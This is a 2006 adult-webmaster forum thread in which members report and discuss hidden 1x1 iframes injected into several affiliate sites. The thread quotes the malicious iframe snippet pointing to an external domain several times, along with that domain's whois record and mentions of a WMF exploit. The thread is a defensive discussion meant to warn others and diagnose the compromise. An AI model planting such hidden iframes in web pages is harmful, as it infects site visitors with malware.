NastyDollars sites hacked ??? - GoFuckYourself.com

Axel XXX · 12-05-2006, 03:41 PM

You can find this at the end of some NastyDollars sites code:

Code:

<iframe src='http://wsfgfdgrtyhgfd.net/adv/167/new.php' width=1 height=1></iframe><iframe src='http://wsfgfdgrtyhgfd.net/adv/new.php?adv=167' width=1 height=1></iframe>

Wsfgfdgrtyhgfd.net whois:

Registrant:
Malkon JIU [email protected] +7.4958902809
Malkon JIU
Tverskaya 89-9-1
Moscow,Moscow,RUSSIAN FEDERATION 109098

Domain Name:wsfgfdgrtyhgfd.net
Record last updated at 2006-10-12 06:48:38
Record created on 2006/10/12
Record expired on 2007/10/12

Domain servers in listed order:
ns3.asdbiz.biz ns4.asdbiz.biz

Registration Service Provider:
name: servera.info
tel: +7.9262349216
fax: +7.9262349216
web:http://servera.info

Registry Status: ACTIVE
Registry Status: ok

Angry · 12-05-2006, 03:52 PM

You have been Zangofied. Clean your system up.

Asthma · 12-05-2006, 03:53 PM

check sig

teg0 · 12-05-2006, 03:56 PM

wtf thats g3y

alexg · 12-05-2006, 03:58 PM

they load fine for me....

cosis · 12-05-2006, 04:00 PM

I found that code on some galleries I banned today

QuaWee · 12-05-2006, 04:02 PM

you need spyware doctor. everything works for me

Tempest · 12-05-2006, 04:05 PM

I spotted it on bignaturals.. I don't have zango or anything like that.

Tempest · 12-05-2006, 04:08 PM

It tried to get me to open up a xpl.wmf file.

cosis · 12-05-2006, 04:12 PM

Quote:

Originally Posted by Tempest

I spotted it on bignaturals.. I don't have zango or anything like that.

I see it too, I am about 99% sure I don't have any spyware

theiconoclast · 12-05-2006, 04:15 PM

Servers are clean. Check for spyware is all I can tell you. I have seen spyware that targets our sites and other adult sites, there really isn't much I can do about that.

-N

Axel XXX · 12-05-2006, 04:17 PM

I found it on bignaturals, cumfiesta, mikesapartment, captainstabbin and inthevip

milfhunter loads fine

System is clean

RawAlex · 12-05-2006, 04:25 PM

On the join page of cumfiesta:

<iframe src='http://wsfgfdgrtyhgfd.net/adv/167/new.php' width=1 height=1></iframe><iframe src='http://wsfgfdgrtyhgfd.net/adv/new.php?adv=167' width=1 height=1></iframe>

Sorry guys, but you have most seriously been hacked.

JD · 12-05-2006, 04:27 PM

that's the fucking iframe I've been getting on my tgps!!!! their box was compromised

http://www.gfy.com/showthread.php?t=...ight=megacount

Quickdraw · 12-05-2006, 04:27 PM

Quote:

Originally Posted by RawAlex

On the join page of cumfiesta:

<iframe src='http://wsfgfdgrtyhgfd.net/adv/167/new.php' width=1 height=1></iframe><iframe src='http://wsfgfdgrtyhgfd.net/adv/new.php?adv=167' width=1 height=1></iframe>

Sorry guys, but you have most seriously been hacked.

Yup, Exploit:Win32/Wmfap

DaddyHalbucks · 12-05-2006, 04:33 PM

These hackers suck big time.

bellybuttonlint · 12-05-2006, 04:36 PM

thats what happens when people wanna play with the devil, and not honour the initial agreement

Tempest · 12-05-2006, 04:39 PM

Quote:

Originally Posted by bellybuttonlint

thats what happens when people wanna play with the devil, and not honour the initial agreement

Care to elaborate?

stickyfingerz · 12-05-2006, 04:41 PM

Quote:

Originally Posted by SPeRMiNaToR

that's the fucking iframe I've been getting on my tgps!!!! their box was compromised

http://www.gfy.com/showthread.php?t=...ight=megacount

Sperm has it right, thats megacount.

Oracle Porn · 12-05-2006, 04:42 PM

anyone going to cumfiesta join page gets infected....

wedouglas · 12-05-2006, 05:02 PM

Yup, I see this is the source code

<iframe src='http://wsfgfdgrtyhgfd.net/adv/167/new.php' width=1 height=1></iframe><iframe src='http://wsfgfdgrtyhgfd.net/adv/new.php?adv=167' width=1 height=1></iframe>

Tempest · 12-05-2006, 05:22 PM

So are they acknowleging there's a problem now or??

IncaD · 12-05-2006, 05:49 PM

Quote:

Originally Posted by Tempest

So are they acknowleging there's a problem now or??

No. We all have the same spyware on all of our computers.

interracialtoons · 12-05-2006, 06:14 PM

Interesting. I wanna see what happens.

Pornopat · 12-05-2006, 06:15 PM

They got me as well today....

Tempest · 12-05-2006, 06:25 PM

I checked a little while ago and it seemed to be gone.

Jace · 12-05-2006, 06:29 PM

Quote:

Originally Posted by theiconoclast

Servers are clean. Check for spyware is all I can tell you. I have seen spyware that targets our sites and other adult sites, there really isn't much I can do about that.

-N

are you with nastydollars?

you might wanna identify yourself in some way if you are

sicone · 12-05-2006, 06:35 PM

hmmm, too many people getting it for it to be a coincidence

Alky · 12-05-2006, 06:47 PM

Quote:

Originally Posted by Jace

are you with nastydollars?

you might wanna identify yourself in some way if you are

what do you want his name/phone number or something?

StarkReality · 12-05-2006, 06:53 PM

Just checked Cumfiesta, clean for me

cosis · 12-05-2006, 06:59 PM

Checked my system for spyware on 4 different programs and zilch. I no longer see that code on big naturals...

SmokeyTheBear · 12-05-2006, 07:01 PM

thats fucked im pulling all nastydollars links

fix your sites boys

SmokeyTheBear · 12-05-2006, 07:02 PM

Quote:

Originally Posted by Alky

what do you want his name/phone number or something?

i think what jace was saying is if they are from nastydollars and saying the sites are clean they have a problem , if not then he should clarify what he meant

PR_Sebas · 12-05-2006, 07:07 PM

This may be a dumb question but, I don't get exactly what was hacked. I promote nastydollars too so I'm kinda confused. Im new to the webmaster thing obviously. Could somebody explain to me how I can tell?

Jace · 12-05-2006, 07:10 PM

Quote:

Originally Posted by Alky

what do you want his name/phone number or something?

ok, random nick, 3 posts, no url homepage, no sig

are you an idiot or did you just try and start shit?

SmokeyTheBear · 12-05-2006, 07:12 PM

Quote:

Originally Posted by pornreviewsource

This may be a dumb question but, I don't get exactly what was hacked. I promote nastydollars too so I'm kinda confused. Im new to the webmaster thing obviously. Could somebody explain to me how I can tell?

basically nobody can join the site without getting infected so anyone you send there is getting infected and that surfer is prob now owned with software that will steal any profit you might make off them. they will know not to go there anymore or your site..

Jace · 12-05-2006, 07:13 PM

Quote:

Originally Posted by SmokeyTheBear

i think what jace was saying is if they are from nastydollars and saying the sites are clean they have a problem , if not then he should clarify what he meant

what I meant was, I am sick of these huge companies having random nicks on GFY with no identification whatsoever attached to them

wanna know what I am associated with? see my profile, my sig, my location, etc

wanna know what "theiconoclast" is associated with? me too!

I think if someone is going to representing a company in a professional manner, they should at least make some effort to show us who are they are with or what company they are repping for....be it sigs, location, etc...

that would be like the owner of TCG coming to the board to answer something like this with no sig, no identification in his profile whatsoever, and saying "everything is fine"......

SmokeyTheBear · 12-05-2006, 07:13 PM

Quote:

Originally Posted by Jace

ok, random nick, 3 posts, no url homepage, no sig

are you an idiot or did you just try and start shit?

actually when nastydollars crew does post thats usually them .. a couple posts etc.. i think it is nd but you gotta figure they get asked that questions a million times a day as im sure they are a big target and usually its spyware. but gfy is webmasters

PR_Sebas · 12-05-2006, 07:14 PM

Quote:

Originally Posted by SmokeyTheBear

basically nobody can join the site without getting infected so anyone you send there is getting infected and that surfer is prob now owned with software that will steal any profit you might make off them. they will know not to go there anymore or your site..

Thanks Smokey... so the general consensous here is what? take all their links off my site? I'm still not sure how to know if its been infected? Like if I click one of the links on my page to like big naturals or something how can I tell?

Jace · 12-05-2006, 07:17 PM

Quote:

Originally Posted by SmokeyTheBear

actually when nastydollars crew does post thats usually them .. a couple posts etc.. i think it is nd but you gotta figure they get asked that questions a million times a day as im sure they are a big target and usually its spyware. but gfy is webmasters

I guess it is just kind of irritating with all the fake nicks bullshit on this board that they can't even put a "ND Rep" or even "ND" in their sig....or something simple like that

like we are supposed to guess and believe that a person with 3 posts really works for ND...LOL

Jace · 12-05-2006, 07:18 PM

Quote:

Originally Posted by pornreviewsource

Thanks Smokey... so the general consensous here is what? take all their links off my site? I'm still not sure how to know if its been infected? Like if I click one of the links on my page to like big naturals or something how can I tell?

I am not seeing the code on there anymore, so you might be safe

would be nice to hear an official word though as to what happend and if they fixed it permanently

PR_Sebas · 12-05-2006, 07:22 PM

Quote:

Originally Posted by Jace

I am not seeing the code on there anymore, so you might be safe

would be nice to hear an official word though as to what happend and if they fixed it permanently

Thanks Jace... and everyone else... this is probably the most helpful forum I've ever been on lol..

SmokeyTheBear · 12-05-2006, 07:22 PM

Quote:

Originally Posted by pornreviewsource

Thanks Smokey... so the general consensous here is what? take all their links off my site? I'm still not sure how to know if its been infected? Like if I click one of the links on my page to like big naturals or something how can I tell?

they have sites setup on round robin server so some of the sites could be hacked and only show up one in 24 hits or something..

Im pulling all links until i hear for sure the sites are clean . i cant advise you what to do

This "hack" is known to also use cron job to rewrite the iframe at a later date even if its been deleted so because of the casual way the guy above seemed to write it off i would be concerned until we hear a "tech" tell us they are clean for sure

bdld · 12-05-2006, 07:41 PM

i gotta check all my sites again, i keep getting hit with that same hack.

HouseHead · 12-05-2006, 07:45 PM

Spermi is a good guy, always knows whats goin down.. Joe Icq me, you havnt been on aim lately ;/

Pornopat · 12-05-2006, 08:29 PM

Quote:

Originally Posted by theiconoclast

Servers are clean. Check for spyware is all I can tell you. I have seen spyware that targets our sites and other adult sites, there really isn't much I can do about that.

-N

Neil, your servers are not clean.
I have the same problem and have been working on it all day. This guy is sharp and the problem will be back in the future. Hit me up if you need more info on what I found so far.

_Lush_ · 12-05-2006, 08:53 PM

You will only be able to see that code if you are a unique IP or it might be a random page injection as well if you cant see it its cause you have seen it already and not known it.

I remember clickmemedia had something exactly like that a year or so back that would infect people inside the affiliate stats area I emailed them a few times about it and James kept saying they couldnt see anything as well. they finally got it sorted out though thankfully

RawAlex · 12-05-2006, 08:58 PM

I also wouldn't be shocked if they are using a version of geo to make sure that nobody from florida is seeing this, which would make it pretty invisible to the ND crew.

Ace_luffy · 12-05-2006, 09:18 PM

same problem with my site also

Snake Doctor · 12-05-2006, 09:38 PM

These spyware fuckers are ruining the interweb dammit!!

12-05-2006, 03:41 PM	#1
Axel XXX Confirmed User Join Date: Aug 2002 Posts: 6,924	NastyDollars sites hacked ??? You can find this at the end of some NastyDollars sites code: Code: <iframe src='http://wsfgfdgrtyhgfd.net/adv/167/new.php' width=1 height=1></iframe><iframe src='http://wsfgfdgrtyhgfd.net/adv/new.php?adv=167' width=1 height=1></iframe> Wsfgfdgrtyhgfd.net whois: Registrant: Malkon JIU [email protected] +7.4958902809 Malkon JIU Tverskaya 89-9-1 Moscow,Moscow,RUSSIAN FEDERATION 109098 Domain Name:wsfgfdgrtyhgfd.net Record last updated at 2006-10-12 06:48:38 Record created on 2006/10/12 Record expired on 2007/10/12 Domain servers in listed order: ns3.asdbiz.biz ns4.asdbiz.biz Registration Service Provider: name: servera.info tel: +7.9262349216 fax: +7.9262349216 web:http://servera.info Registry Status: ACTIVE Registry Status: ok __________________ CCBill Sponsors // ccbillsponsors.com // Your #1 Source for CCBill Sponsors!

12-05-2006, 03:52 PM	#2
Angry I will make you galleries for a reciprocal link Join Date: Oct 2006 Posts: 359	You have been Zangofied. Clean your system up. __________________

12-05-2006, 03:53 PM	#3
Asthma Confirmed User Join Date: Dec 2001 Posts: 682	check sig __________________ AdultMovieClub.com 4000+ Galleries \| RSS Feeds \| White Label \| Search Boxes \| Weekly Payouts You can have your own white labeled DVD download site with matching gallery templates and banners in just a few hours.

12-05-2006, 03:58 PM	#5
alexg IL4L.com Join Date: Aug 2003 Location: Israel - ICQ: 162136565 Posts: 11,287	they load fine for me.... __________________ Find fuck buddies in your area!

12-05-2006, 04:02 PM	#7
QuaWee Confirmed User Join Date: Jul 2004 Location: boogers Posts: 5,791	you need spyware doctor. everything works for me __________________ i luv mainstream

12-05-2006, 03:56 PM	#4
teg0 Confirmed User Join Date: Jan 2006 Location: Gringo in Puerto Rico Posts: 4,204	wtf thats g3y

12-05-2006, 04:00 PM	#6
cosis Confirmed User Industry Role: Join Date: Aug 2001 Location: Beach Posts: 5,281	I found that code on some galleries I banned today

12-05-2006, 04:05 PM	#8
Tempest Too lazy to set a custom title Industry Role: Join Date: May 2004 Location: West Coast, Canada. Posts: 10,217	I spotted it on bignaturals.. I don't have zango or anything like that.

12-05-2006, 04:08 PM	#9
Tempest Too lazy to set a custom title Industry Role: Join Date: May 2004 Location: West Coast, Canada. Posts: 10,217	It tried to get me to open up a xpl.wmf file.

12-05-2006, 04:15 PM	#11
theiconoclast Registered User Join Date: May 2005 Posts: 3	Servers are clean. Check for spyware is all I can tell you. I have seen spyware that targets our sites and other adult sites, there really isn't much I can do about that. -N

12-05-2006, 04:17 PM	#12
Axel XXX Confirmed User Join Date: Aug 2002 Posts: 6,924	I found it on bignaturals, cumfiesta, mikesapartment, captainstabbin and inthevip milfhunter loads fine System is clean __________________ CCBill Sponsors // ccbillsponsors.com // Your #1 Source for CCBill Sponsors!

12-05-2006, 04:25 PM	#13
RawAlex So Fucking Banned Join Date: Oct 2003 Location: In a house. Posts: 9,465	On the join page of cumfiesta: <iframe src='http://wsfgfdgrtyhgfd.net/adv/167/new.php' width=1 height=1></iframe><iframe src='http://wsfgfdgrtyhgfd.net/adv/new.php?adv=167' width=1 height=1></iframe> Sorry guys, but you have most seriously been hacked.

12-05-2006, 04:27 PM	#14
JD Too lazy to set a custom title Industry Role: Join Date: Sep 2003 Posts: 22,651	that's the fucking iframe I've been getting on my tgps!!!! their box was compromised http://www.gfy.com/showthread.php?t=...ight=megacount

12-05-2006, 04:33 PM	#16
DaddyHalbucks A freakin' legend! Industry Role: Join Date: Feb 2004 Location: Las Vegas, Nevada USA Posts: 18,975	These hackers suck big time. __________________ Boner Money

12-05-2006, 04:36 PM	#17
bellybuttonlint Confirmed User Join Date: Oct 2006 Posts: 183	thats what happens when people wanna play with the devil, and not honour the initial agreement

12-05-2006, 04:42 PM	#20
Oracle Porn Affiliate Industry Role: Join Date: Oct 2002 Location: Icq: 94-399-723 Posts: 24,433	anyone going to cumfiesta join page gets infected.... __________________

12-05-2006, 05:02 PM	#21
wedouglas So Fucking Banned Join Date: Aug 2004 Location: Dearborn, MI Posts: 5,921	Yup, I see this is the source code <iframe src='http://wsfgfdgrtyhgfd.net/adv/167/new.php' width=1 height=1></iframe><iframe src='http://wsfgfdgrtyhgfd.net/adv/new.php?adv=167' width=1 height=1></iframe>

12-05-2006, 05:22 PM	#22
Tempest Too lazy to set a custom title Industry Role: Join Date: May 2004 Location: West Coast, Canada. Posts: 10,217	So are they acknowleging there's a problem now or??

12-05-2006, 06:14 PM	#24
interracialtoons Confirmed User Join Date: May 2006 Posts: 1,910	Interesting. I wanna see what happens. __________________ Done.

12-05-2006, 06:15 PM	#25
Pornopat AdultTubeSubmits.com Industry Role: Join Date: Dec 2003 Location: The Netherlands Posts: 10,598	They got me as well today.... __________________ https://stripcash.com/sign-up/?userI...fff832eb95ab6a

12-05-2006, 06:25 PM	#26
Tempest Too lazy to set a custom title Industry Role: Join Date: May 2004 Location: West Coast, Canada. Posts: 10,217	I checked a little while ago and it seemed to be gone.

12-05-2006, 06:35 PM	#28
sicone Retired Industry Role: Join Date: Jan 2004 Location: Sac Posts: 18,453	hmmm, too many people getting it for it to be a coincidence __________________

12-05-2006, 06:53 PM	#30
StarkReality Confirmed User Join Date: May 2004 Location: 4 8 15 16 23 42 Posts: 4,444	Just checked Cumfiesta, clean for me

12-05-2006, 06:59 PM	#31
cosis Confirmed User Industry Role: Join Date: Aug 2001 Location: Beach Posts: 5,281	Checked my system for spyware on 4 different programs and zilch. I no longer see that code on big naturals...

12-05-2006, 07:01 PM	#32
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	thats fucked im pulling all nastydollars links fix your sites boys __________________ hatisblack at yahoo.com

12-05-2006, 07:07 PM	#34
PR_Sebas Confirmed User Join Date: Dec 2006 Posts: 2,825	This may be a dumb question but, I don't get exactly what was hacked. I promote nastydollars too so I'm kinda confused. Im new to the webmaster thing obviously. Could somebody explain to me how I can tell? __________________

12-05-2006, 07:41 PM	#44
bdld $100,000 Join Date: Dec 2001 Posts: 11,452	i gotta check all my sites again, i keep getting hit with that same hack.

12-05-2006, 07:45 PM	#45
HouseHead Confirmed User Join Date: Aug 2003 Location: Aim - Hydromorphone Posts: 5,539	Spermi is a good guy, always knows whats goin down.. Joe Icq me, you havnt been on aim lately ;/ __________________ The Sexiest place to Buy & Sell Adult Ads - JuicyAds is where YOUR profits matter! ---> SPOTS AVAILABLE :\|: SIGN UP RIGHT NOW <---

12-05-2006, 08:53 PM	#47
_Lush_ Confirmed User Industry Role: Join Date: Jul 2005 Location: GDL Jal. Posts: 536	You will only be able to see that code if you are a unique IP or it might be a random page injection as well if you cant see it its cause you have seen it already and not known it. I remember clickmemedia had something exactly like that a year or so back that would infect people inside the affiliate stats area I emailed them a few times about it and James kept saying they couldnt see anything as well. they finally got it sorted out though thankfully __________________ IcQ 50611033 Last edited by _Lush_; 12-05-2006 at 08:54 PM..

12-05-2006, 08:58 PM	#48
RawAlex So Fucking Banned Join Date: Oct 2003 Location: In a house. Posts: 9,465	I also wouldn't be shocked if they are using a version of geo to make sure that nobody from florida is seeing this, which would make it pretty invisible to the ND crew.

12-05-2006, 09:18 PM	#49
Ace_luffy www.creationcrew.com Industry Role: Join Date: Feb 2005 Location: CREATIONCREW.COM CREATIONCREW.COM CREATIONCREW.COM CREATIONCREW.COM CREATIONCREW.COM CREATIONCREW.COM Posts: 12,110	same problem with my site also __________________ ++ Adult and Mainstream Websites Designs \| 10 banners for only $50 \| html5 Banners ++ email : [email protected] Telegram : https://t.me/creationcrew \| HTML5/Responsive Site - Div/CSS - ElevatedX - NATs - Wordpress

12-05-2006, 09:38 PM	#50
Snake Doctor I'm Lenny2 Bitch Join Date: Mar 2001 Location: On top of my soapbox Posts: 13,449	These spyware fuckers are ruining the interweb dammit!! __________________ sig too big